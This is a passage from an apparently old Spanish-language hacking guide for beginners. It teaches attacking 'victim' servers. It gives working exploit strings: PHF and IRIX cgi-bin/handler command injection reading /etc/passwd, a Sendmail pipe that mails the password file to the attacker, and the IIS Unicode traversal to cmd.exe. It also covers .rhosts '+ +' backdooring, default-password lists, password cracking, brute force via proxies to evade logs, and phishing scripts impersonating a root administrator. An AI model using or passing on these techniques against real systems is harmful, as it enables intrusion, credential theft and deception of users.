"Sistema Remoto" y te aparecera una ventanita en la que tienes que introducir dos datos. Donde pone "Nombre de Host", escribe grex.cyberspace.org y donde pone "Puerto" escribe 23 o deja la palabra "telnet" que es lo mismo. Despues de una presentacion empiezan los problemas, como ves te pide login (nombre) y password (tu contrasena), y como no la tienes pues no te permitira entrar, pero tranquilo que este servidor ofrece cuentas gratuitas y entonces podras crearte una con la que tendras un login y un password para entrar las proximas veces. Para ello escribe donde pone login "newuser" y le das a "INTRO" para ir pasando la publicidad que te va a ir exponiendo. Llegados a un punto te pedira que escribas tres combinaciones de teclas para usos futuros, prueba con Control+x, Control+b y otras que te permita por que no te dejara todas, el proceso es algo dificil porque todo lo que te pida lo hara en ingles y cuando veas un mensaje en el que parezca que te ha aceptado la combinacion deberas hacerla otras dos veces mas y asi hasta que completes las tres combinaciones. Una vez puestas todas las combinaciones lo demas es pan comido, te pedira un nombre, un login, un password y otros datos que puedes saltartelos pulsando simplemente intro, pero cuando te pida que escojas una "shell" escribe bash. Ya esta. La proxima vez que te conectes escribe tu login y tu password y te dejara pasar sin ningun tipo de problema. -$06.3 -->> COMANDOS BASICOS Llego la hora de que aprendas los comandos basicos para andar por el ordenador de la victima. Primero conectate al grex.cyberspace.org por telnet como te he explicado antes y escribe tu login y tu password. Bien, ahora estaras frente a una shell, "que, que es eso?", pues bien es la llamada interfaz de comandos, es decir, el programa (por decirlo de alguna manera) que interpretara lo que tu escribas para realizar alguna accion, decir que lo que tu escribas tienen que ser los comandos, pues si pones palabras inventadas la shell te dara error y seguira esperando otro comando. Sabras que es la shell cuando te ponga "bash$", "sh$" o algo por el estilo. Cuando has hecho tu cuenta, se te ha creado un directorio para ti y solo para ti, en el que podras crear mas direcctorios, crear, editar, o eliminar archivos y muchas cosas mas. Cada vez que te conectes estaras situado sobre este directorio, pues bien, para saber cual es este deberas escribir el comando "pwd" y te saldra, por ejemplo: "/a/o/e/tulogin". Para moverte por los directorios esta el comando "cd", este debe ir seguido del directorio al que quieras acceder. Por ejemplo, si quieres ir al directorio raiz deberias escribir: "cd /", porque "/" es el directorio raiz. Si por ejemplo estamos en el directorio "/etc/io" y queremos volver al directorio anterior a este (directorio padre), que seria "/etc" no tendriamos que escribir "cd /etc", puesto que existe otra forma de volver al directorio anterior y esta forma es la siguiente: "cd ..". El ".." significa directorio padre o directorio anterior y el "." significa el directorio actual. Esto hay que saberlo porque nos sera util y necesario para mas adelante. Para saber lo que hay dentro de un directorio utilizaremos el comando "ls". Por ejemplo para saber todo lo que hay dentro del directorio "/etc" escribiremos: "ls /etc" o si ya estuvieramos dentro de este directorio solo nos haria falta escribir "ls" o "ls .", puesto que ya dije antes que "." era el directorio actual. Para crear un directorio tenemos el comando "mkdir" y tambien solo necesita la el nombre que le queremos asignar. Si lo queremos crear en el directorio en el que estamos solo haria falta escribir: "mkdir nombre". Pero si lo queremos crear en otro lugar en el que no estemos situados habra que escribir la ruta completa, por ejemplo: "mkdir /etc/io/nombre". Para eliminarlos el comando es "rmdir" y paso de explicarlo porque creo que esto es de perogrullo (logica) y teneis que esprimiros un poquito el coco, porque os lo estoy dando todo muy masticado. Bueno creo que con esto llegara por el momento, ademas paso de comeros mucho la olla que despues no aprecias nada mi trabajo. -$06.4 -->> ARCHIVOS IMPORTANTES En este apartado explicare un par de archivos de los sistemas UNIX o Linux que os haran mucha falta entender para poder conseguir el triunfo el la maquina victima. *Archivo "/etc/passwd": Al igual que los archivos "*.pwl" de Windows, este archivo es el que contiene las contrasenas de todas las cuentas del sistema. Pongo un ejemplo para que veais mas o menos el aspecto de este archivo: root:WyPfRSQg.gf:0:0:System Administrator,,,:/root:/bin/csh bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash Cada frase es la cuenta de un usuario. La primera palabra que aparece es su login (ya sabemos algo), y lo que va despues de los primeros ":" es su contrasena, pero no te alegres porque no es la contrasena real (ohhh), sino que esta encriptada. Cuando consigas este archivo (ya explicare como) y lo tengas en tu disco duro, tienes que bajarte un desencriptador de archivos passwd,hazme caso y bajate la ultima version del "john the ripper", en estos momentos van por la version 1.6 y trabaja el cuadruple de rapido que cualquier otro (es para MS-DoS). Bajate un manual y aprende a utilizarlo que es muy facil. NOTA PARA LOS MAS NOVATOS: Muchos programas para MS-DoS no se ejecutan haciendo doble click sobre ellos, porque tendras que abrir una ventanita de MS-DoS escribir: "cd directorio_del_achivo", y una vez hecho esto escribes el nombre del programa y ya esta. Y ya os estais bajando un manual de MS-DoS que si no, no vais a llegar a nada, hay que saber de todo en esta vida!. A lo que ibamos, en tu caso lo unico que querrias seria conseguir el password de "root" puesto que como ya tienes una cuenta, para que cono quieres otra. Pero en cambio, si no tenias ninguna y conseguiste de alguna forma este archivo, conformate de momento con cualquier cuenta porque asi ya puedes entrar en el sistema e ir haciendo tus cositas. Ademas, a veces, desencriptar la contrasena del "root" podria llevarte anyos y anyos, cosa que no merece la pena, y conseguir "root" se puede hacer de otras mil formas. Ojo al dato, muchas veces te encontraras con que el aspecto del fichero es como este: root:x:0:0:System Administrator,,,:/root:/bin/csh bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash web:x:502:100:Web Master:/home/web:/bin/bash mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash Que ha pasado?, esto significa que el archivo esta "Shadow" y no podemos saber cual es la contrasenya. Cuando sucede esto significa que las contrasenyas estan en el archivo shadow y este casi siempre estara muy bien protegido, pero ya nos las arreglaremos para cogerlo. En vez de salir una "x" en el lugar de la contrasena, podria salir un "*" o algo por el estilo, pero todo es lo mismo. *Archivo "/etc/host.equiv": Este archivo tambien se encuentra en el directorio "/etc" y contiene las direcciones IP de los ordenadores que pueden entrar a su sistema sin necesidad de ningun login ni password, es decir, que si conseguimos poner ahi nuestra IP podremos conectarnos sin necesidad de ningun dato. *Archivo "/etc/.rhosts": Este al igual que los otros dos se encuentra tambien en "/etc" y a mi la verdad es que me gusta bastante, puesto que si en el escribimos "+ +", asi tal y como lo pongo y mediante el comando "rlogin -l root victima.com" entraremos todos alegres y aun encima con privilegios de "root". Lo unico malo de esto es que si el Administrador es algo avispado y revisa de vez en cuando este archivo y los logs, te habra pillado y tu la habras cagado (vaya pareado!). *Archivo "/etc/inetd.conf": Pues bien, este se encarga de decir que servicios y que puertos deben estar abiertos para los usuarios. Ahora pongo un ejemplo del aspecto que puede tener este archivo y despues hago una pequenya explicacion: ----------------------------------------------------------------------------- # See "man 8 inetd" for more information. # # If you make changes to this file, either reboot your machine or send the # inetd a HUP signal: # Do a "ps x" as root and look up the pid of inetd. Then do a # "kill -HUP ". # The inetd will re-read this file whenever it gets that signal. # # # # The first 4 services are really only used for debugging purposes, so # we comment them out since they can otherwise be used for some nasty # denial-of-service attacks. If you need them, uncomment them. # echo stream tcp nowait root internal # echo dgram udp wait root internal # discard stream tcp nowait root internal # discard dgram udp wait root internal # daytime stream tcp nowait root internal # daytime dgram udp wait root internal # chargen stream tcp nowait root internal # chargen dgram udp wait root internal # time stream tcp nowait root internal # time dgram udp wait root internal # # These are standard services. # ftp stream tcp nowait root /usr/sbin/tcpd wu.ftpd -l -i -a telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd # # Use this one instead if you want to snoop on telnet users (try to use this # for ethical purposes, ok folks?), and see 'man ttysnoop' and /etc/snooptab # for further instructions: # telnet stream tcp nowait root /usr/sbin/tcpd in.telnetsnoopd # # The comsat daemon notifies the user of new mail when biff is set to y: # comsat dgram udp wait root /usr/sbin/tcpd in.comsat # # Shell, login, exec and talk are BSD protocols. # # shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L # login stream tcp nowait root /usr/sbin/tcpd in.rlogind # exec stream tcp nowait root /usr/sbin/tcpd in.rexecd talk dgram udp wait root /usr/sbin/tcpd in.talkd finger stream tcp nowait nobody /usr/sbin/tcpd in.fingerd -u ----------------------------------------------------------------------------- Les explico. Como pueden observar, la estructura de este archivo es bien simple. Los nombres de la primera columna son los servicios que se pueden ofrecer a los usuarios y las demas columnas son expecificaciones individuales de cada uno, como quien los controla o el protocolo que utilizan, etc. Lo que a nosotros verdaderamente nos interesa son simplemente las almoadillas que vemos delante de cada frase ("#"). Que quiere decir?? Esto quiere decir que las que contengan la almoadilla son los servicios que no estan habilitados por lo tanto estes puertos estan cerrados. Echandole un vistazo al archivo podemos observar que este servidor ofrece tres servicios o puertos, estes son: "telnet", "talk" y "finger". Con todo esto solo decir que si por alguna razon conseguimos privilegios para modificar este archivo, no estaria de mas el quitarle alguna almoadilla y dejarnos algunos servicios abiertos a nuestra disposicion. -$06.5 -->> CONSEJOS BLACKNGEL Espero que con este articulo hayas aprendido bien lo necesario para guiarte por el buen camino en esta guia, pero repito, NO ES SUFICIENTE!. Todo hacker que se precie nunca debe dejar de aprender, asi que ya te estas bajando un manual de Unix o Linux y estudias lo maximo que puedas, eso si quieres llegar a algo. Ah!, si te lo puedes permitir, deberias instalarte el Linux que es mas facil de utilizar Unix y practica todo lo que puedas, ya veras como llegaras a ser un hacker mucho antes que con el Windows. ----------------------------------------------------------------------------- -----------------$07--------INFORMACION DE LA VICTIMA------------------------ ----------------------------------------------------------------------------- $07 -->> INFORMACION DEL SISTEMA Pues como no, en una guia como esta para newbies no puede faltar este tema. Sin duda una de las cosas mas importantes que debemos hacer antes de hackear a la victima, es conseguir la maxima informacion posible de ella. He dicho antes de hackear, pero, con la practica, al igual que yo el sacar informacion ya sera parte del dicho "hackeo". La informacion o datos que podamos obtener pueden ser muy diversos, desde su Sistema Operativo hasta las versiones de sus daemos(ya lo explico despues). Bueno, aunque parezca mentira, el sacar informacion puede ser muy interesante porque en vez de atacar a la victima de golpe en un solo dia lo podemos planear en varios y mejor. El porque de esto se halla en que una vez que un dia le saquemos los maximos datos posibles, podemos dedicar el resto del dia a estudiarlos y planear nuestro ataque de la forma mas precisa posible y no atacar a lo loco como hacen algunos dejando todas sus huellas en el camino. -$07.1 -->> PORT SURFING (SURFEO DE PUERTOS) Esta es la tecnica principal para sacar informacion. Trata de comprobar todos los puertos de la victima, sabiendo asi cuales tiene abiertos y si aparte de eso alguno de ellos nos da mas datos. Hay dos formas de realizar todo esto, una es de forma manual (comprobando los puertos nosotros mismos), y la otra es utilizar un escaneador de puertos y esperar los resultados. Por mi parte solo os explicare la forma manual ya que la otra es obviamente facil, y ademas para mi siempre es mucho mas interesante descubrir las cosas por mi mismo. Decir que yo explicare lo que podemos obtener de cada puerto si este esta abierto (es de logica!!!), y si no lo esta, ya sabeis, a por otro. ///////////////////////////////////////////////////////////////////////////// *Puerto 13 "DayTime": Bueno esto no servira para mucho pero si queremos tener la maxima informacion posible nunca esta demas. Simplemente hacemos un telnet a este puerto y el servidor nos dara su fecha y hora. Comparandola con nuestra fecha y nuestra hora podremos comprobar en que franja horaria se encuentra y situar mas o menos donde se encuentra este servidor. *Puerto 21 "FTP": Este es el File Transfer Protocol (Protocolo de transferencia de archivos), es el encargado de que los usuarios con cuentas en el sistema puedan subir y bajar archivos. Lo primero que podemos observar cuando hacemos un telnet a este puerto es que nos da el nombre de su daemon (programa) que esta controlando ese puerto y lo que es mas importante, tambien nos informa de la version del mismo. Solamente con estes datos ya podriamos buscarnos un exploit con el cual explotar este puerto, pero antes de hacer esto tienes que leerte enterita esta guia, mas bien antes de hacer nada. (Primero lee todo la informacion que puedas y aprende lo maximo posible, tendras tiempo de actuar y de hacer tus pinitos). Lo segundo que debemos hacer es intentar conectarnos con cuenta anonima. Esto se consigue dando el comando "user anonymous" y si este funciona nos pedira que introduzcamos como password nuestra direccion de e-mail, entonces lo que haremos sera introducir el comando "pass email@inventado.com" y con un poco de suerte nos dejara ver sus archivos. Tambien puede suceder que despues de conectarnos como anonymous no nos muestre nada, eso quiere decir que tienen esta cuenta activada pero que no la utilizan. Si tenemos acceso al servidor podemos intentar bajarnos directamente el passwd y empezar a examinarlo (QUIETO PARAO!!), no te aconsejo que hagas esto si antes aun no sabes como esconder tu IP y como borrar tus huellas, ahora si tu lo quieres hacer es bajo tu responsabilidad. *Puerto 25 "SMTP" (MAIL): Aunque no lo parezca este puerto puede ser realmente interesante ya que segun la informacion que saquemos de el, podremos realizar diferentes ataques. Cuando hacemos telnet a este puerto no encontramos con que nos da el nombre de su daemon, que es el que controla el envio de e-mails. Es muy interesante y tambien muy frecuente que nos encontremos que su daemon es el "SendMail". Hay muchisimas versiones de este programa y se le han detectado bugs hasta la infinidad. Al igual que con el ftp, podrimos buscar algun exploit adecuado a su version y probar a ver que resultados obtenos. Pero ya sabes que es bajo tu conciencia. Normalmente los exploits para este programa suelen ser "buffer overflows" (desbordamientos) y algunos antiguos que nos enviaran su archivo de passwords a nuestra direccion de e-mail. (Ya os ensenare uno mas adelante). Si ya habeis leido alguna guia, supongo que ya os habran ensenado como mandar un e-mail "anonimo" por medio de este puerto. Pues bien, yo os advierto que esto no es un e-mail anonimo ni de cerca, simplemente cambiambiamos nuestra direccion de correo, pero casi todos los servidores de correo suelen advertir que la direccion de correo de la que proviene el mensaje es misteriosa y ademas detectar esto es realmente facil. Si de verdad quereis mandar e-mail anonimos debeis utilizar "remailers" pero leeros algun manual sobre ellos que yo aunque lo siento mucho no tengo tiempo de explicarlo todo. *Puerto 79 "FINGER": Mira donde hemos ido a parar, precisamente este puerto esta dedicado a ofrecer informacion para dar y tomar. Hoy en dia casi todos los servidores tienen este puerto desactivado debido a la gran utilizacion de el por parte de los hackers y como la gente quiere que seamos ninos bueno y que nos comamos el dedo gordo del pie, pues es lo que hay. Si tenemos acceso a este puerto, nos conectamos mediante telnet y observamos bastantes datos sobre usuarios. Una vez que tengamos el nombre de un usuario que posea una cuenta, solo tendriamos que hacer finger a "nombre@server.com" y nos daria varios datos sobre el como el ejemplo que os pongo yo ahora: [SERVER.COM] Login Name TTY Idle When Where rivaldo Ronal co 1d Fry 17:00 server.com Bueno podemos observar cuando fue la ultima vez que se conecto, y una cosa mas que interesante es que si nos fijamos en su nombre y su login, con un poco de picardia nos daremos cuenta que una de sus aficciones preferidas es el futbol. Con estos datos podriamos crear una lista de palabras sobre temas de futbol y jugadores, que despues podemos utilizar para realizar un ataque por fuerza bruta (ya explicare en siguientes capitulos lo que es esto). Por ultimo decir que tambien podemos tener a veces a nuestra disposicion el puerto 43 que es el "Whois" que tambien se encarga de ofrecer mucha informacion pero este te lo dejo de deberes para que lo investigues por tu cuenta. *Puerto 80 "HTTP" (www): Como ya supongo que sabreis este es el puerto dedicado al World Wide Web que es el servicio de paginas web. Pues como no, de aqui tambien podremos sacar algo de informacion bastante jugosita. Hacemos un telnet al puerto 80 y vemos que no aparece nada, lo que hace es esperar a que introduzcamos algun comando, pero normalmente despues de este la conexion se suele cerrar automaticamente. Entonces lo que escribimos es "GET / HTTP", decir que lo que escribais no se va a mostrar en pantalla, asi que escribir bien. Y ahora nos saldra algo como esto: HTTP/1.1 200 OK Date: Mon, 09 Oct 2000 20:09:03 GMT Server: Apache/1.3.9 (Unix) mod_perl/1.21 Last-Modified: Tue, 25 Jul 2000 11:53:39 GMT Parece poco pero por ahora ya tenemos en nuestras manos que servidor usa para ofrecernos las paginas web "Apache", que es un "UNIX" y tambien nos da su version del "mod_perl". ///////////////////////////////////////////////////////////////////////////// Hasta aqui todo, los demas puertos os los dejo investigar a vosotros para que vayais descubriendo cositas por vosotros mismos. Sin olvidarme de deciros que tambien podeis investigar los codigos fuente de sus paginas web (si la tiene) y sacar informacion sobre que "CGIs" utiliza y si estes contienen vulneravilidades. Esta parte la estudias en alguna otra guia, que hay muchas sobre este tema, ya que creo que por ahora puede ser suficiente para los "newbies". -$07.2 -->> Y SI TIENES UNA SHELL? Si ya tienes una shell, antes de atacar directamente, podrias sacar algunos que otros datos para que el ataque sea mejor y lo tengas mas controlado. Si simplemente queremos saber que Sistemas Operativo utiliza, solo tendremos que escribir en el shell "uname -a" y tendremos tanto el SO como la version del "kernel" que utiliza. Los kernels antiguos suelen tener bugs, asi que busca en internet haber si hay alguno para esta version y si lo hay encuentra el exploit. Ya te explique antes para que servia los archivos ".rhosts" y "host.equiv", pero esta vez los utilizaremos solamente para leer su contenido. En ellos veremos las direcciones IP de los ordenadores que pueden entrar sin password al sistema. Podria ser que alguno de estes estuviera en la misma red, y ahora entonces, podriamos investigar un poco sobre ese servidor y lo mas seguro es que si obtenemos el password de "root" en uno sea el mismo para el otro. -$07.3 -->> CONSEJOS BLACKNGEL Como no, que no falten mis consejos. Ya se que realmente esto te puede parecer muy aburrido (te aseguro que a mi no!!), pero como todo hacker es la unica forma de hacerlo y si no te bajas un "SCANNER" pero como ya mencione antes, para mi esto no es realmente de "hackers" porque hasta mi abuela es capaz de escribir cuatro numeritos separados por un punto y despues darle al boton "ESCANEAR". Alla tu conciencia yo te he dado mi mas sincera opinion. ----------------------------------------------------------------------------- -----------------$08--------CONSEGUIR CUENTAS-------------------------------- ----------------------------------------------------------------------------- $08 -->> CONSEGUIR CUENTAS En esta amplia seccion explicare algunas de las tecnicas mas usuales y faciles con las que podemos conseguir cuentas que utilizaremos despues para conseguir el sonado "root" y controlar el sistema. -$08.1 -->> ATRAPAR CUENTAS POR DEFECTO Esto es muy simple, pero rara vez se da el caso en el que se nos permite hacer esto. Y es que las cuentas por defecto son las que traen o se crean en el Sistema Operativo y para que haya cuentas por defecto, el root ya debe ser bien cafre. Aun asi, a todo esto, mi deber es poneros las cuentas por defecto mas usuales: =========================================================================== GENERAL | VMS | PRIME =========================================================================== adm | autolog1/autolog o autolog1 | prime/prime admin | cms/cms | prime/primos anonymous/anonymous | cmsbatch/cms o cmsbatch | primos/primos backup | erep/erep | primos/prime batch | maint/maint o maintain | primos_cs/prime bin | operatns/operatns o operator| primos_cs/primos daemon/daemon | operator/operator | primenet/primenet ftp | rscs/rscs | system/system games | smart/smart | system/prime guest/guest | sna/sna | system/primos guest/anonymous | vmtest/vmtest | netlink/netlink help | vmutil/vmutil | test/test install | vtam/vtam | guest/guest listen | field/service | guest1/guest news | systest/utep | nobody | systest_clig/systest | operator | systest_clig/uetp | printer | systest_clig/utep | pub | | public |====================================================== rlogin | DEC10 | SGI IRIX root |====================================================== shutdown | 1,2: SYSLIB o OPERATOR | 4DGifts tech | 2,7: MAINTAIN | guest test | 5,30: GAMES | demos trouble | | lp uucp |=============================| nuucp visitor | AIX | tour unix/unix |=============================| tutor sys/sys | guest/guest | accunting sys/system | | boss who/who |=============================| demo learn/learn | DECserver | manager field/digital |=============================| pdp8 field/test | Acess | pdp11 postmaster/mail | System | software =========================================================================== -$08.2 -->> UTILIZANDO INGENIERIA SOCIAL La verdad es que este metodo a mi no me gusta mucho, pero en esta vida si quieres conseguir algo tendras que hacer de todo. Aqui te explicare lo basico para que intentes convencer a alguien de que te de el password de su cuenta. Lo primero que podrias intentar es conseguir hablar con la persona a la que quieres enganar si sabes con certeza que este se conecta alguna vez al IRC, y decirle por ejemplo que eres el root de server.org (el servidor del que quieras obtener una cuenta) que su cuenta esta interfiriendo indebidamente en la forma en que su script (Mirc, Mesias, etc...) trabaja y que necesita el login y el password de su cuenta, para que tu puedas configurarsela y el pueda continuar correctamente su trabajo. Como explicarle al "pardillo" (puede que no) todo esto, lo dejo en tus manos y si te das cuenta que no eres capaz de hacer estas cosas, pues dejalo y intenta algun otro metodo, porque si sigues por este solo conseguiras ganar mas y mas enemigos. Otra forma un poco mas arriesgada pero no tan emocionante seria mandarle un e-mail anonimo, haciendote pasar por el root del sistema y que necesitas los datos anteriores porque este sistema renueva los passwords frecuentemente porque es un sistema muy seguro, y que por alguna razon (cosa tuya), su cuenta no puede ser actualizada automaticamente y que necesita sus datos para realizarlo de modo manual. Para mandar e-mail anonimo deberas conectarte por telnet a algun servidor que tenga abierto el puerto 25 y que te permita utilizarlo. Por ejemplo haces un telnet a server_email.com (el que quieras) al puerto 25. Ahora expondre como se hace y a lo que yo escriba le pondre un "*" delante para que sepais que es lo que teneis que escribir vosotros, el resto es lo que nos responde el server_email.com: ____________________________________________________________________________ | * mail from: loque@tedelagana.com (inventatelo) | > loque@tedelagana.com... Sender OK | | * rcpt to: pardillo@quees.com (el e-mail de la victima) | > pardillo@quees.com... Recipient OK | | * data (significa que quieres escribir el mensaje) | > enter mail, end with "." on a line by itself | | * soy el root del systema server.com y necesito (escribe ahora tu mensaje) | tus datos porque......... (tu sabras) | | * . (necesitas escribir un "." en una sola linea para poder terminar el msj)| > mail accepted | | * quit (con esto cierras la conexion) | > connection is closed | ____________________________________________________________________________| -$08.3 -->> BRUTE FORCE (FUERZA BRUTA) Este metodo es realmente facil y aunque algunos no lo consideren de hackers alguna vez lo han tenido que utilizar. Consiste en probar muchisimas combinaciones de "logins" y "passwords" hasta que alguna coincida con una cuenta que ya tenga la victima, este ataque se hace bastante lento y si la contrasena es de 6 o mas caracteres podriamos tardar anos en averiguarla. Para ello os recomiendo el programa "BRUTUS" que os permite atacar cualquier puerto que os pida login y password, un ejemplo de ellos son el "HTTP", el "FTP", el "TELNET", el "NetBIOS" y hasta incluso el del "NetBUS". Lo mas seguro es que cuando realiceis este ataque, la victima tenga un log de las conexiones que se intentan establecer a su maquina y le sera bastante raro encontrar miles y miles de intentos en su log y todos con la misma direccion IP. Por ello necesitamos un programa que nos permita usar "proxi", aun no he explicado lo que es un proxi?, pues vamos a ello. Un proxi no es mas que simplemente un ordenador que ponemos en medio entre nosotros y la victima (no fisicamente, locos!!). Un proxi es un ordenador al que tenemos que conectar y cuando le pasamos la direccion IP de la victima, este se encarga de conectarse a ella, asi cuando la victima revise su log todas las IPs que esta encuentre seran las del proxi. Ahi que tener cuidado con los proximos que utilizamos, porque ahi algunos que dejaran ver nuestra IP a la victima y la abremos cagado. Por mi parte os pondria una serie de proxis pero estes se actualizan cada poco y otros dejan de funcionar, osea que ya los estais buscando por Inet, pero no os vayais a alguna pagina de matusalen. Os aconseje el "BRUTUS" antes porque precisamente este permite que utilices proxis, asi que ya sabes. Lo siento mucho pero no me voy a parar a explicar como se utiliza, ahora es cosa vuestra el buscaros la vida. -$08.4 -->> CONSEJOS BLACKNGEL Aqui he tratado de explicarte las formas mas faciles pero quizas las menos utilizadas para obtener cuentas, pero conste que siempre hay sitios donde funcionan y personas a las que hacerle esto. Si te enfrentas con algun otro Sistema Operativo que no este expuesto aqui deberas buscarte la vida para buscar los passwords por defecto, ademas que cona!, ser hacker consiste en esto y yo no puedo hacerte todo el trabajo sucio. Ya me llega con solucionarle los problemas que tienen muchos colegas con su ordenador, que si se le inicia algo..., que si no arranca, que si tienen que pulsar F1 o F2 para iniciar. A veces me hace dano observar que existe tanta incultura, pero como soy tan buena persona, al final siempre acabo ayudando a todo cristo. ----------------------------------------------------------------------------- -----------------$09--------BUGS Y EXPLOITS---------------------------------- ----------------------------------------------------------------------------- $09 -->> BUGS Y EXPLOITS Puede que en esta seccion se alargue un poco puesto que tendre que poner el codigo fuente de algun exploit para que podais ir practicando y ademas voy a intentar explicar cada bug lo mejor posible, puesto que algunos pueden llegar a resultar un poco mas liosillas. Tambien decir que aqui me centrare practicamente en dos conceptos, estos van a ser el conseguir una cuenta simple y el conseguir privilegios de root. -$09.1 -->> RECOMENDACION Como dice el titulo, os recomiendo que los exploits que vayais encontrando en este articulo los copieis y los guardeis en una carpeta con un nombre con el que los podais identificar facilmente. La organizacion de cada uno, es cosa suya, pero si quereis que os diga otra recomendacion, os ayudara que separeis los exploits segun algun criterio, en mi caso yo los separo por Sistema Operativo, pero los mas quisquillosos hasta los separan por sus versiones. -$09.2 -->> PHF Por ser uno de los mas simples, le dedicare el primer lugar a este bug, que es realmente famoso. La forma de explotar este bug no necesita ciertamente un exploit, sino que este es aprovechado a traves del propio navegador. Este bug no funciona en muchos sitios, pero nunca dejeis de provarlo por si acaso en cualquier sistema en el que querrais entrar, porque siempre hay alguno que cae en el hoyo. Un sistema sera vulnerable a este bug cuando posea un sistema Unix o Linux y dentro de su directorio /cgi-bin tengan un fichero llamado "phf" que es un servicio que permite buscar direcciones pero que casualmente puede ser empleado para usar comandos remotos en esa maquina. Como en nuestro caso seguimos en la busqueda de una cuenta, de momento nos centraremos en intentar conseguir el fichero password, y despues ya lo podras explorar y utilizar con muchos otros fines. Lo unico que debes hacer es escribir en tu navegador habitual, es la frase: "http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd" En lugar de "www.victima.com" debes poner la pagina web del sistema al que quieres entrar o mucho mejor seria poner su Direccion IP, dado que puede suceder que no conozcas el nombre de esta pagina. Como puedes observar en la parte final de la frase, lo que estamos haciendo es pedirle al servidor que nos muestre por pantalla su archivo passwd. Con un poco de suerte tendremos el archivo delante de nuestra jeta de asombrados y solo tendrias que hacer un "guardar como...", para despues crackearlo con el "john the ripper". Lo malo que nos podria suceder es que nos aparezca el archivo de passwd con la famosa "x" o "*" en lugar del password y volveriamos a estar en el problema de siempre, ya que necesitariamos conseguir el fichero con el nombre "shadow". Como hacerlo?. Pues podrias intentar lo mas sencillo, que seria cambiar la palabra "passwd" por "shadow" y ver si este sale por pantalla, si no es asi, mala suerte y ya veremos otras maneras de hacerlo mas adelante. Otra opcion muy interesante para nosotros es que el Unix o Linux tenga instalado el NIS. Esto lo podemos observar si en la ultima linea del fichero passwd observamos una cadena que pone "+::0:0:::" gracias a esto lo mas probable es que podamos ejecutar el comando "ypcat" con el que podremos ver el fichero passwd libre de protecciones. Para hacer esto debes escribir en tu navegador la siguiente frase: "http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20passwd" Y con esto ya obtendrias el tan preciado fichero passwd. Bien de momento esto es todo, podria darte un exploit con el que poder ejecutar estos comandos de una forma mas facil, pero sintiendolo mucho este no lo voy a poner porque por ahora todo esto lo podeis hacer desde el navegador. Si realmente lo quereis, ya sabeis lo que teneis que hacer, buscarlo via google, (trabajar un poquito anda). -$09.3 -->> SENDMAIL Este bug ya es bastante antiguo, pero como ya sabremos, la gente no es muy espabilada y no compra ni actualiza sus ordenadores frecuentemente pues siempre encontraremos a alguien y ademas un hacker de verdad siempre tiene que intentar saberlo todo, tanto si es nuevo (principal), como si es antiguo. A lo que ivamos, para explotar este bug, necesitaremos saber cual es la version del "SENDMAIL" (Programa que controla el puerto 25 (E-Mail)), y que esta sea anterior a la version v. "5.57", si no utiliza este programa el bug ya no valdra para nada. Normalmente para saber el programa y la version que utiliza el servidor para el envio y recepcion de E-Mail, nos vastara con conectarnos via Telnet al servidor por medio del puerto "25" y en el logo de bienvenida nos saldra toda esta informacion. Suponiendo que ya sabemos que utiliza el SENDMAIL y que su version es anterior a la v. 5.57, deberas realizar los siguientes pasos y tendras su fichero "passwd" en tus manos. Lo que va entre "/*" y "*/" son comentarios mios para que lo entendais mejor: ________________________________________________________________________ /*Segun te conectas te saldra el siguiente mensaje:*/ | 220 victima.com Sendmail 5.40 ready at Friday, 11 Feb 02 10:55 | | /* Debes de escribir esto:*/ | mail from: "|/bin/mail tu_direccion@de_correo.com < /etc/passwd" | | /*Y te responde:*/ | 250 "|/bin/mail tudireccion@de_e_mail.com < /etc/passwd" ... Sender ok | | /*A quien se lo mandas, inventatelo:*/ | rcpt to: quien_te_de_la_gana | | /*Y te responde:*/ | 550 quien_te_de_la_gana... User unknown | | /*Indicas que quieres escribir el mensaje:*/ | data | | /*Este te responde:*/ | 354 Enter mail, end with "." on a line by itself | | /*Terminas directamente con un ".":*/ | . | | /*Te acepta el mail:*/ | 250 Mail accepted | | /*Terminas la conexion:*/ | quit | ________________________________________________________________________| -$09.4 -->> CGI-BIN/HANDLER Los Sistemas Operativos "IRIX" traen consigo el "cgi-bin/handler" que deberia permitir la lectura y la escritura de ficheros, pero debido a un tremendo bug, nos las arreglaremos para tambien ejecutar comandos remotamente. Lo sera conectarnos a la victima por su puerto 80 (el del "www"), y despues abriremos un fichero inventado que NO! tiene que existir. El "cgi-handler" se molestara en darnos un mensajillo de error advirtiendo de que tal fichero no existe, pero seguidamente esperara a un siguiente comando. En este caso lo que intentaremos sera leer el fichero "passwd" entonces, para ello emplearemos el comando "cat" que necesariamente tendra que llevar como argumento un TABULADOR: ________________________________________________________________________ -> telnet victima.com 80 | | /*Escribimos:*/ | $ GET /cgi-bin/handler/taluego_Lucas;cat /etc/passwd|?data=Download| $ HTTP/1.0 | ________________________________________________________________________| Nuestros amiguitos de IRIX, intentaro arreglar este bug en su version 6.3, pero como se puede suponer esto no valio les valio para nada. Puesto que como somos "hackers" conseguimos librarnos de esto con un nuevo TABULADOR: ________________________________________________________________________ $GET /cgi-bin/handler/whatever;cat /etc/passwd| ?data=Download | $HTTP/1.0 | ________________________________________________________________________| -$09.5 -->> CODE / DECODE BUG Este bug afecta a cualquier equipo que tenga instalado el ISS (Internet Information Server)(servidor de paginas web) en Windows y no lo tenga correctamente parcheado. Para encontrar a alguien con este bug, lo mejor sera que te bajes de internet el programa "SSS"(Shadow Security Scanner) con su correspondiente crack que quite la limitacion de los 15 dias, y que aprendas a utilizarlo, lo siento mucho pero eso no es mi trabajo. Una vez encuentres una buena victima lo unico que tienes que hacer es ir al navegador que utilices y simplemente poneis en el la direccion: __________________________________________________________________________ http://di.rec.cion.ip/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\| __________________________________________________________________________| El bug esta en "/..%c0%af../" ya que esto hace escaparse del arbol web, consiguiendo una escalada en los directorios. Ahora os saldra en pantalla todos los directorios y archivos que tiene en la unidad "c:\". Aprender lo maximo sobre comandos de MS-DoS y solo tendreis que modificar lo ultimo para navegar por su disco duro u otros dispositivos como CD-ROMs si los tiene metidos. Ejemplos: "c+cd+c:\windows" -> Os lleva 